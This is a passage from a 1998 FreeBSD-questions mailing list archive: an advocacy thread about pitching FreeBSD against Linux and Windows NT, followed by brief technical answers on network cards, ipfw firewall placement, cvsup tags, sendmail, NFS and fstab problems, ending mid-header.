Capriotti ; John Kenagy Cc: questions freebsd Date: Saturday, April 04, 1998 4:29 PM Subject: Re: Linux the only non-Microsoft OS that's gaining market share? >I have, of course, done the same. I would also HIGHLY recommend >sending a copy of the book + CD package -- ASAP -- to > >Mr. James Love >Consumer Project on Technology >PO Box 19367 >Washington DC 20036 > >James Love works directly for Ralph Nader, and composed the letter >to OEMs asking that they bundle alternative operating systems >with their machines. The letter mentioned Linux but not FreeBSD. >The group is installing Linux and will probably recommend it as >an alternative to Microsoft operating systems, but they have not >to my knowledge even tried FreeBSD. > >If Walnut Creek is concerned about the expense of sending out an >evaluation copy or two of FreeBSD 2.2.6 and the book to Mr. Love >and Mr. Nader, perhaps we can take up a small collection to have >them sent. > >--Brett Glass > >At 12:58 AM 4/5/98 -0300, Capriotti wrote: > >>Great ! That makes two of us. Any other takers ? >> >>Do I really have to remind you *****ALL**** about the importance of this >>action ? >> >>Can you guys imagine what a Community letter addressed to Mr. Marc AND CCed >>to the press would do ? >> >>and, additionally, what about sending Mr. Netscape a copy of Greg's book, >>with the lattest FreeBSD AND Netscape ??? >> >>[uhhhhh... that would be a low blow, heheheh] >> > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 11:58:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA08865 for freebsd-questions-outgoing; Mon, 6 Apr 1998 11:58:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from general1.consumersedge.com (mail.personalogic.com [208.213.67.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA08807 for ; Mon, 6 Apr 1998 11:58:08 -0700 (PDT) (envelope-from dshanes@personalogic.com) Received: from SHANES by general1.consumersedge.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1458.49) id H555BX68; Mon, 6 Apr 1998 11:58:45 -0700 Message-ID: <03eb01bd618d$5416df30$1d43a8c0@shanes.personalogic.com> From: "David Shanes" To: Cc: "Brett Glass" Subject: Linux - Netscape Date: Mon, 6 Apr 1998 11:53:45 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Now that Marc made his comments, the press is hopping on the bandwagon. We need to do something before this is the next cover of Time ! Quote from "Jesse Berst's AnchorDesk", 4/6/98 ***** __________Berst Alert____________________ NETSCAPE TO CHALLENGE WINDOWS NT? http://www.zdnet.com/chkpt/adt0406ba/www.anchordesk.com/story/story_1952.htm l Software and hardware prices keep falling. Except for Windows, which has stayed the same for 10 years. (Why lower prices when you have no competition?) In fact, you'll pay double when you switch to Windows NT. Now Netscape's Marc Andreessen hints at combining his company's browser with Linux to compete against NT. Could this finally convince Microsoft to stop overcharging customers? ***** David _____________________________________________________ David Shanes 7535 Metropolitan Drive dshanes@personalogic.com San Diego, CA 92108 Database Developer (619) 220-5800 x228 PersonaLogic, Inc. (619) 220-5899 (fax) http://www.PersonaLogic.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:12:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA11671 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:12:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from keywest.ird.rl.af.mil (KEYWEST.IRD.RL.AF.MIL [128.132.193.224]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id MAA11665 for ; Mon, 6 Apr 1998 12:12:30 -0700 (PDT) (envelope-from goeringerm@keywest.ird.rl.af.mil) Received: by keywest.ird.rl.af.mil with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.995.52) id <01BD616E.854461F0@keywest.ird.rl.af.mil>; Mon, 6 Apr 1998 15:13:14 -0400 Message-ID: From: "Goeringer, Michael" To: "'de Bari, Baden Rosario (ISM)'" Cc: "'freebsd-questions@freebsd.org'" Subject: RE: System Requirements Date: Mon, 6 Apr 1998 15:13:13 -0400 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.995.52 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG You will find these answers and more at www.freebsd.org. Be sure to read the handbook and if you have specific hardware questions do a search on the email archives. Have fun! Michael G. >---------- >From: de Bari, Baden Rosario (ISM)[SMTP:DEBARB1@investorsgroup.com] >Sent: Monday, April 06, 1998 2:45 PM >To: 'questions@FreeBSD.ORG' >Subject: System Requirements > > >Hi... > >I have been wanting to run a UNIX OS for quite sometime now - due to my >constant use and trouble-shooting of Win95 based systems. > >What I am curious about is generic hardware compatability with FreeBSD. > >I will be running it on a 54CPI motherboard w/ a P75 - upgradable to 166 >(not mmx) with 16 megs of ram (of course this would need to increase) > >Could you send me some information please. > >Thanks. > >brosario@ism.ca Baden Rosario de Bari - IGSA Analyst >baden@lords.com Information Systems Management Corporation > IBM Global Services > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:16:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA12436 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:16:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA12353 for ; Mon, 6 Apr 1998 12:15:49 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18872; Mon, 6 Apr 1998 12:15:44 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:15:44 -0700 (PDT) From: Doug White Reply-To: Doug White To: Ian Field cc: freebsd-questions@FreeBSD.ORG Subject: Re: zp0 In-Reply-To: <199804060244.TAA02514@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 5 Apr 1997, Ian Field wrote: > What are the common i/o, irq settings for zp0 (3c589d) ? I'm trying to > get 2.2.6-RELEASE to find this card. Use the 3com setup program on the 3c589 driver disk. I think it's called `Install', select `Configuration and Diagnostics.' Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:20:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA13890 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:20:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA13773 for ; Mon, 6 Apr 1998 12:20:02 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18877; Mon, 6 Apr 1998 12:19:46 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:19:46 -0700 (PDT) From: Doug White Reply-To: Doug White To: D MacDonald cc: freebsd-questions@FreeBSD.ORG Subject: Re: security In-Reply-To: <3526B1E6.5360F7B6@auracom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, D MacDonald wrote: > Im new to unix/freebsd and i need to set up some firewall or proxy > server on our network. > we have an isdn line for our connection to the provider.... right now > the setup looks like this > > isdn -> router-->hub-->intranet and on our intranet we have a bsdi > netsetver set up.. > > what should i set up to keep the internet from seeing our internet a > proxy or a firewall ?? Keeping in mind that i'm new to unix and would > like something easy to configure:) and as well where should the proxy or > firewall be placed? right after the router before the first hub using 2 > network cards? You might check if your router can do this already. You want to put the machine in where all traffic will go through, which in this case would be between the router & hub. Install ipfw and check out the Handbook for setup instructions. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:22:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA14142 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:22:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA14077 for ; Mon, 6 Apr 1998 12:21:52 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18884; Mon, 6 Apr 1998 12:21:34 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:21:34 -0700 (PDT) From: Doug White Reply-To: Doug White To: Chris and Katie Manar cc: freebsd-questions@FreeBSD.ORG Subject: Re: 1.2 install image In-Reply-To: <000001bd602a$020951a0$728cdccc@ckmanar> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, Chris and Katie Manar wrote: > Is there a disk image available for those of us with boxes that boot to a > 1.2M floppy for installation? Or should I just seek the CD? Not anymore, sorry. 3.5" drives are cheap :-) Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:32:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA15737 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:32:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA15724 for ; Mon, 6 Apr 1998 12:32:18 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18906; Mon, 6 Apr 1998 12:32:16 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:32:16 -0700 (PDT) From: Doug White Reply-To: Doug White To: Dat Tran cc: freebsd-questions@FreeBSD.ORG Subject: Re: Can't mount root, In-Reply-To: <19980405013045.10495.rocketmail@send1d.yahoomail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, Dat Tran wrote: > > > > _ I can't boot FreeBSD 2.2.2 after install with error: > > panic : Can not mount root . > > >Could I see the boot output of the system before the >panic? I'm most > > System Output before panic : > wdc0 at 0x1f0-ox1f7 irp 14 on ISA > wdc0 unit 0 (wd0): > wdc1 at 0x170-0x177 irp 15 on ISA > wdc1 unit 0 (wd2) : > wd2 : 1222Mb (2484 cyls,16 heads, 63 s/t,512 b/s) > ... Which of these disks is FreeBSD on? If it's on the second one, move it on to the primary controller. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:34:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA16463 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:34:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bsumail.idbsu.edu (bsumail.idbsu.edu [132.178.16.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA16393 for ; Mon, 6 Apr 1998 12:34:40 -0700 (PDT) (envelope-from rismurli@cobfac.idbsu.edu) Received: from cobfac.idbsu.edu (cobfac.idbsu.edu [132.178.51.3]) by bsumail.idbsu.edu (AIX4.2/UCB 8.7/8.7) with ESMTP id NAA07690 for ; Mon, 6 Apr 1998 13:37:30 -0600 (MDT) Received: from COBFAC/SpoolDir by cobfac.idbsu.edu (Mercury 1.40); 6 Apr 98 13:35:11 GMT+7 Received: from SpoolDir by COBFAC (Mercury 1.40); 6 Apr 98 13:35:02 GMT+7 Received: from (132.178.148.108) by cobfac.idbsu.edu (Mercury 1.40); 6 Apr 98 13:35:00 GMT+7 Message-ID: <35293E80.72BA@cobfac.idbsu.edu> Date: Mon, 06 Apr 1998 13:43:44 -0700 From: Murli Nagasundaram Reply-To: rismurli@cobfac.idbsu.edu Organization: Boise State University X-Mailer: Mozilla 3.01 (Win95; I; 16bit) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Apache? FreeBSD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Why does clicking on an link to www.apache.org take one to www.freebsd.org? Thanks. Murli To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:37:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA17153 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:37:09 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA17034 for ; Mon, 6 Apr 1998 12:36:53 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18913; Mon, 6 Apr 1998 12:36:46 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:36:46 -0700 (PDT) From: Doug White Reply-To: Doug White To: David Turner cc: "'questions@freebsd.org'" Subject: Re: your mail In-Reply-To: <01BD602C.8F53C020@30.morristown-05.nj.dial-access.att.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, David Turner wrote: > I am looking for info regarding setting up a mirror server using freebsd. > Any suggestions? Mirroring what? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:39:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA18060 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:39:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA18011 for ; Mon, 6 Apr 1998 12:39:21 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18917; Mon, 6 Apr 1998 12:38:21 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:38:20 -0700 (PDT) From: Doug White Reply-To: Doug White To: Jamie Norwood cc: freebsd-questions@FreeBSD.ORG Subject: Re: CVSUP questions. In-Reply-To: <199804050902.FAA00566@ds9.lesn.lehigh.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Jamie Norwood wrote: > OK, as I did once screw this up, I ask now for your aid. First, I am > running 2.2.6-release. I downloaded, compiled, and installed cvsup. I set > up a supfile, and grabbed the source from it. However, I am not entirely > confident that the source is what I want it to be (2.2.6 as opposed to > 3.0), as when I ran this before it erased a good chunk of my ports > directory (All the makefiles and so on.) So, with the below supfile, will > I have a stable version of the -release code, or will it be 3.0? And how > can I check my ports tree with the latest available for 2.2.6? It dumped your ports tree because ports don't have tags and you specified a tag to fetch. > *default host=cvsup.FreeBSD.org > > *default base=/usr > *default prefix=/usr > > *default release=cvs tag=RELENG_2_2 Welcome to 2.2-STABLE. If you want a release you have to specify the full tag, ie RELENG_2_2_6. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:41:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA18504 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:41:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA18451 for ; Mon, 6 Apr 1998 12:41:03 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18934; Mon, 6 Apr 1998 12:40:56 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:40:56 -0700 (PDT) From: Doug White Reply-To: Doug White To: Ashley cc: questions@FreeBSD.ORG Subject: Re: hostname/sendmail question... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Ashley wrote: > hi. i am having difficulties getting my system to work correctly when > sending mail. pine works fine, and other programs that send using their > own mechanisms. however, using slrn, elm, etc when i send an email it > bounces back with the following errors.... > > i tried editing the sendmail.cf file. all i got from fiddling with that > was it ended up thinking i was my isp (labyrinth.net.au) so mail to that > domain all came back to me. insomnia.org.au doesn't exist. Did you register it with the .au domain? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:42:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA18838 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:42:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA18745 for ; Mon, 6 Apr 1998 12:42:05 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18938; Mon, 6 Apr 1998 12:41:57 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:41:56 -0700 (PDT) From: Doug White Reply-To: Doug White To: Brendan Kosowski - System Administrator cc: questions@FreeBSD.ORG Subject: Re: FreeBSD Questions In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Brendan Kosowski - System Administrator wrote: > 1. Does FreeBSD provide better performance than Linux when used on a P.C. > that is configured as a GATEWAY ( with both ETHERNET & PPP interfaces ). I > noticed that Linux's PPP performance drops when there is activity on the > ETHERNET interface. Will changing to FreeBSD help ??? I would say so; the 4.4BSD network drivers are unmatched in their performanc. > 2. Does FreeBSD support POCKET ETHERNET ADAPTERS such as the D-Link > DE-620 ??? No, sorry. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:43:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA19146 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:43:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA19072 for ; Mon, 6 Apr 1998 12:43:09 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18942; Mon, 6 Apr 1998 12:43:00 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:43:00 -0700 (PDT) From: Doug White Reply-To: Doug White To: Doug Jolley cc: questions@FreeBSD.ORG Subject: Re: mail In-Reply-To: <199804051644.JAA09948@srv01.bigwheel.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Doug Jolley wrote: > When reading mail with mail(1) is there any way I can opt > to pipe a given message to a program? I thought that was > a fairly standard feature; but, I don't see it referenced > in the man page. I don't know if the default mail program is that smart. Pine can do it although you have to enable the option. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:46:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA20359 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:46:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA20258 for ; Mon, 6 Apr 1998 12:46:07 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18949; Mon, 6 Apr 1998 12:46:00 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:46:00 -0700 (PDT) From: Doug White Reply-To: Doug White To: Vallo Kallaste cc: questions@FreeBSD.ORG Subject: Re: mount error In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Vallo Kallaste wrote: > I'm currently using -current on my workstation. If I try to mount from > 2.2.5-RELEASE machine or from Solaris 2.5.1 box all what I get is: > > nfs: bad MNT RPC: RPC: Authentication error; why = Client credential too > weak > > /etc/exports flags are "-alldirs -ro -mapall=nobody" without quotes, > certainly :). What I can do for this situation ? The 2.2.5-R machine and/or the Solaris box have access restrictions on you. make sure you have enough privs on those machines. They may require you to be root. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:47:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA20655 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:47:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA20588 for ; Mon, 6 Apr 1998 12:47:02 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18953; Mon, 6 Apr 1998 12:46:54 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:46:54 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Stephen A. Derdau" cc: freebsd-questions@FreeBSD.ORG Subject: Re: HELP fstab In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Stephen A. Derdau wrote: > Anyway to edit fstab if the file system is > read only. > have done mount -u / ## however > I guess / is the problem it comes back stating > /dev/rwd0a on /: Block device required. > Try `mount -u /dev/d0s1a'. Then edit /etc/fstab and make sure you'r specifying each filesystem as the block device, not the raw device( /dev/r*). Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:49:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA21496 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:49:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA21401 for ; Mon, 6 Apr 1998 12:49:24 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18957; Mon, 6 Apr 1998 12:49:15 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:49:15 -0700 (PDT) From: Doug White Reply-To: Doug White To: Antonio Bemfica cc: freebsd-questions@FreeBSD.ORG Subject: Re: Best OS for an Alpha? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Antonio Bemfica wrote: > What OS would best work with the FreeBSD boxes (to run NFS, amd, etc)? Is > there a FreeBSD-Alpha port in the works? How about NetBSD (or OpenBSD, > for that matter)? I'm not likely to choose WinNT, but Linux may be good > enough - I'd appreciate any suggestions. I can't answer the first question, but the second is that there is a port in the works; contact freebsd-alpha@freebsd.org (?) Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 12:50:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA21734 for freebsd-questions-outgoing; Mon, 6 Apr 1998 12:50:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA21648 for ; Mon, 6 Apr 1998 12:49:55 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id MAA18962; Mon, 6 Apr 1998 12:49:52 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 12:49:52 -0700 (PDT) From: Doug White Reply-To: Doug White To: Bagelboyj cc: 